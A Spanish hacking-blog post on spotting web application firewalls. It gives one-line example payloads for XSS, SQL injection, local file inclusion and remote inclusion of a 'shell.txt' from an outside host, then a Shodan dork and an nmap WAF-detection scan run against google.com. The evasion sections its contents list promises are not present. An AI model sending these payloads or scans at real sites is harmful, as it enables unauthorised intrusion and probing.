Banner 1

PWNEANDO el WAF!


[0x1] ————– Que es un WAF?
[0x2] ————– Reconocimiento de un Firewall de aplicaciones web
[0x3] ————– Tecnicas de evacion SQL
[0x2a] ———— Utilizando comentarios
[0x2b] ———— Uso de la funcion CHAR()
[0x2c] ———— HPP (Polucion de parametros HTTP)
[0x2d] ———— HPF (Fragmentacion de parametros HTTP)

——————————————-+
[0x1] Que es un WAF?
——————————————-+
Ultimamente, me fui encontrando con aplicaciones que por algun motivo y siendo vulnerables
me saltaban con un error del tipo 501 (method no implementado), o directamente al realizara algun tipo de inyeccion, el servidor me enviava un flag FIN y
terminaba paradado con un mensajito de “The concexion was reSet”, sospechoso, no?, por esta razon decidi escribir a cerca de los WAF (firewalls de aplicaciones web)
Para quien no conozco de su existencia, los WAF se encargan de mediar entre el cliente y servidor, filtrando la entrada de caracteres segun la configuracion de seguridad del mismo.
Existen varios de estos, uno de los mas conocidos es ModSecurity, pero ademas de este muchas aplicaciones corren con:
-Libhtp
-Ironbee
y demas…
Un WAF trabaja en la capa de aplicacion, controlando la entrada de datos en protocolos como HTTP/HTTPS/SOAP/XML-RPC y segun el trafico que se halle en la blacklist de su configuracion enviaran un mensaje de alerta ante determinado vector de ataque tales como:
http://vulnpage/alal.php?vuln=9999″> XSS
http://vulnpage/alal.php?vuln=9999′+or+’5′>=’3– SQLI
http://vulnpage/alal.php?vuln=../../../../../lol LFI
http://vulnpage/alal.php?vuln=http://lol.com/shell.txt? RFI
ETC…
————————————————-+
Reconocimiento de un Firewall de aplicaciones web
————————————————–+
Como descubrimos la presencia de un WAF en la aplicacion?
Generalmente las respuestas de tipo:
- 501 (method not implemented)
- Conexion reseteada por parte del servidor
- Mensaje 403
- Redireccionamiento hacia la pagina de inicio
Estos son indicios de la presencia de algun tipo de mediador que nos esta hinchando las pelotas XD!
Una de las maneras de obtener el tipo de waf que protege un servidor, es indagando
dentro de las respuestas en las cabeceras http.
Para ello, si estamos en duda de que la aplicacion corre con un firewall web, podemos usar el buscador shodan, para cersiorarnos de  que en realidad es asi.
Dork: “host:”Underterminal.com” Mod_security enabled”
Informacion del tipo y version de WAF en la cabecera Server.
————————+
?
1
2
3
4
5
6
7
8
9
HTTP/1.0 200 OK
Date: Mon, 10 Sep 2012 20:25:38 GMT
Server: Mod_Security 2.5.9 enabled
Last-Modified: Wed, 13 Jul 2011 07:12:51 GMT
ETag: "c902e9-2c-4a7ee24f602c0"
Accept-Ranges: bytes
Content-Length: 44
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
—————————+
Otra es usando herramientas o scripts que se encarguen de realizar un fingerprinting sobre estos como por ejemplo http-waf-detect.nse, un motor encargado de la deteccion de waf’s incorporado en nmap.
Podemos utilizarlo de la siguiente manera:
?
1
nmap -Pn -n -VV -T2 --script=http-waf-detect.nse "TARGET"
Veamos que pasa con papa google?
————————————————————–+
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nmap -p80 -vv -T2 -Pn -n  --script http-waf-detect google.com
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-11 01:38 ART
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Warning: Hostname google.com resolves to 11 IPs. Using 74.125.229.37.
Initiating SYN Stealth Scan at 01:38
Scanning google.com (74.125.229.37) [1 port]
Discovered open port 80/tcp on 74.125.229.37
Completed SYN Stealth Scan at 01:38, 0.44s elapsed (1 total ports)
NSE: Script scanning 74.125.229.37.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:38
Completed NSE at 01:38, 13.07s elapsed
Nmap scan report for google.com (74.125.229.37)
Host is up (0.039s latency).
Other addresses for google.com (not scanned): 74.125.229.38 74.125.229.39 74.125.229.40 74.125.229.41 74.125.229.46 74.125.229.32 74.125.229.33 74.125.229.34 74.125.229.35 74.125.229.36
Scanned at 2012-09-11 01:38:24 ART for 13s
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_google.com:80/?p4yl04d3=















Bueno el post se ve horrible xD asi que les dejo el link original para que lo visten :) http://underterminal.nixiweb.com/?p=385#more-385

No hay comentarios:

Powered by Bad Robot
Helped by Blackubay